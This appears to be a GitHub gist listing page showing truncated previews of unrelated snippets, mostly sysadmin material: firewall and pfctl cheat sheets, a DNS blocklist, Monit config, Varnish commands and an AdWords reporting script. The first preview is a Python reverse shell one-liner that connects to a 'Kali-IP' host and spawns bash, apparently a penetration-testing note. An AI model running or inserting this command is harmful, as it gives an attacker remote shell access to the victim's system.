This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Kali-IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
BLISTS=" | |
0spam.fusionzero.com | |
access.redhawk.org | |
all.rbl.jp | |
all.rbl.webiron.net | |
all.s5h.net | |
all.spamrats.com | |
aspews.ext.sorbs.net | |
babl.rbl.webiron.net | |
backscatter.spameatingmonkey.net |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# -- head.tmpl v0.06 -------------------------------------------------------- | |
BASE=~/projects/mail | |
export PATH=${PATH}:/usr/bin:/usr/local/sbin:/sbin:/usr/local/bin:${BASE} | |
[ "`basename -- "$0"|cut -f1 -d.`" = "mk" ] && script=$(basename -- "$0"|cut -f1-2 -d.) || script=$(basename -- "$0"|cut -f1 -d.) | |
bs=${BASE}/${script} | |
csv=${bs}.csv; raw=${bs}.raw; log=${bs}.log; tmp=${bs}.tmp; | |
in=${bs}.in; out=${bs}.out; exm=${bs}.exempt | |
. ~/colors.inc 2>/dev/null |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FirewallD and IPTables Cheat Sheet (Rev: 20230619) | |
GET FIREWALL STATE | |
firewall-cmd --state | |
GET FIREWALL STATUS | |
systemctl status firewalld | |
RELOAD | |
firewall-cmd --reload |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Basic pfctl control | |
General PFCTL Commands | |
====================== | |
disable packet-filtering: | |
pfctl -d | |
enable packet-filtering: | |
pfctl -e |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
// AdWords Script: Put Data From AdWords Report In Google Sheets | |
// -------------------------------------------------------------- | |
// Copyright 2017 Optmyzr Inc., All Rights Reserved | |
// | |
// This script takes a Google spreadsheet as input. Based on the column headers, data filters, and date range specified | |
// on this sheet, it will generate different reports. | |
// | |
// The goal is to let users create custom automatic reports with AdWords data that they can then include in an automated reporting | |
// tool like the one offered by Optmyzr. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var AGGREGATION_RANGE = "month"; | |
function updateAggregateData() { | |
var dataSheetName = "Raw Data"; | |
var reportSheetName = "For Reports"; | |
var timeAggregatedData = new Array(); | |
var answeredCalls = 0; | |
var notAnsweredCalls = 0; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
############################################################################### | |
## Monit control file | |
############################################################################### | |
## | |
## Comments begin with a '#' and extend through the end of the line. Keywords | |
## are case insensitive. All path's MUST BE FULLY QUALIFIED, starting with '/'. | |
## | |
## Below you will find examples of some frequently used statements. For | |
## information about the control file, a complete list of statements and | |
## options please have a look in the monit manual. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Check this too | |
# https://docs.fastly.com/guides/vcl/vcl-regular-expression-cheat-sheet | |
Health check backend servers: | |
varnishadm debug.health | |
Show requests that generate a 404 error: | |
varnishlog -q 'RespStatus == "404"'|egrep -i "ReqURL|ReqHeader Host:|Forwarded-For" | |
Show full requests for any 404 errors, 503, etc... |
NewerOlder